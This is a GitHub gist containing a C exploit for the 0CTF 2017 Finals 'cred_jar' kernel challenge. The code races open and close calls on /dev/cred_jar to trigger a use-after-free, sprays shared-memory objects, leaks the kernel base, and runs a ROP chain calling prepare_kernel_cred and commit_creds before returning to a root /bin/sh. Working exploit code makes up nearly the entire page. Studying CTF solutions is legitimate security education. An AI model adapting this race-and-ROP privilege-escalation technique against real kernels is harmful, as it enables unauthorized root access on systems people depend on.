Skip to content

Instantly share code, notes, and snippets.

@hama7230 hama7230/exp.c

Created Dec 5, 2018
Embed
What would you like to do?
0CTF 2017 Finals cred_jar
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <pthread.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#define SIZE 0x100
int fd, fd2;
int fds[0x100];
int fds_f[0x100];
int race_win = 0;
int t = 0;
int m = 0;
unsigned long tmp = 0xdead;
unsigned long fake_table[0x20];
unsigned long kernel_base;
unsigned long pop_rdi = 0xffffffff8100ae2d - 0xffffffff81000000;
unsigned long mov_rdi_rax_call_rcx_pop = 0xffffffff811cc51c- 0xffffffff81000000;
unsigned long pop_rcx_pop7 = 0xffffffff81045570 - 0xffffffff81000000;
unsigned long swapgs = 0xffffffff8194b121 - 0xffffffff81000000;
unsigned long iretq = 0xffffffff81022a86 - 0xffffffff81000000;
unsigned long prepare_kernel_cred = 0xffffffff810792f0 - 0xffffffff81000000;
unsigned long commit_creds = 0xffffffff81078f70 - 0xffffffff81000000;
unsigned long pivot_gadget = 0xffffffff81547ddb - 0xffffffff81000000;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
static void save_state() {
__asm__("mov %0, cs": "r=" (user_cs) : "r" (user_cs));
__asm__("mov %0, ss": "r=" (user_ss) : "r" (user_ss));
__asm__("pushfq");
__asm__("popq %0": "r=" (user_rflags) : "r" (user_rflags));
}
void shell(void) {
char *args[] = {"/bin/sh", 0};
execve("/bin/sh", args, 0);
}
int alloc_jar(int _fd, int id, unsigned int size) {
unsigned long arg = size | ((unsigned long)id << 32);
return ioctl(_fd, 0x7401, arg);
}
int get_jar(int _fd, int id) {
return ioctl(_fd, 0x7402, id);
}
int put_jar(int _fd, unsigned long *buf) {
return ioctl(_fd, 0x7403, buf);
}
void *thread (void* args) {
while(!race_win) {
t = 0;
fd = open("/dev/cred_jar", O_RDWR);
alloc_jar(fd, 0xdead, SIZE-0x20);
t = 1;
while (!m);
close(fd);
usleep(1);
t = 0;
}
}
int main(void) {
pthread_t t1, t2;
unsigned long buf[0x100];
unsigned long *fake_stack;
save_state();
fake_stack = mmap(0x01750000-0x8000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0);
puts("open /dev/cred_jar");
for (int i=0; i<0x100; i++) {
fds[i] = open("/dev/cred_jar", O_RDWR);
if (fds[i] < 0) {
puts("open error");
exit(1);
}
}
puts("alloc alloc_cred_jar_ctx() 0x100 times");
for (int i=0; i<0x100; i++)
alloc_jar(fds[i], 0x11220000+i, SIZE-0x20);
puts("attempting race condition");
pthread_create(&t1, NULL, thread, (void *)NULL);
while (1) {
m = 0;
fd2 = open("/dev/cred_jar", O_RDWR);
m = 1;
get_jar(fd2, 0xdead);
usleep(1);
m = 0;
put_jar(fd2, &tmp);
if (tmp != 0xdead) {
race_win = 1;
break;
}
while (!t);
close(fd2);
}
pthread_join( t1, NULL );
puts("caused race condition");
for (int i=0; i<0x100; i++) {
fds_f[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
}
pread(fd2, buf, 0x10, 0x0);
kernel_base = buf[1] - 0xa175c0;
printf("kernel_base = %lx\n", kernel_base);
fake_stack += (0x8000/8);
*fake_stack++ = kernel_base + pop_rdi;
*fake_stack++ = 0;
*fake_stack++ = kernel_base + prepare_kernel_cred;
*fake_stack++ = kernel_base + pop_rcx_pop7;
*fake_stack++ = kernel_base + commit_creds;
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = kernel_base + mov_rdi_rax_call_rcx_pop;
*fake_stack++ = 0;
*fake_stack++ = kernel_base + swapgs;
*fake_stack++ = kernel_base + iretq;
*fake_stack++ = (unsigned long)&shell;
*fake_stack++ = user_cs;
*fake_stack++ = user_rflags;
*fake_stack++ = 0x1750000 + 0x7000;
*fake_stack++ = user_ss;
buf[0] = &fake_table;
fake_table[0xe] = kernel_base + pivot_gadget;
pwrite(fd2, buf, 0x8, 8);
for (int i=0; i<0x100; i++) {
shmctl(fds_f[i], IPC_RMID, 0);
}
while(1) {
sleep(1);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.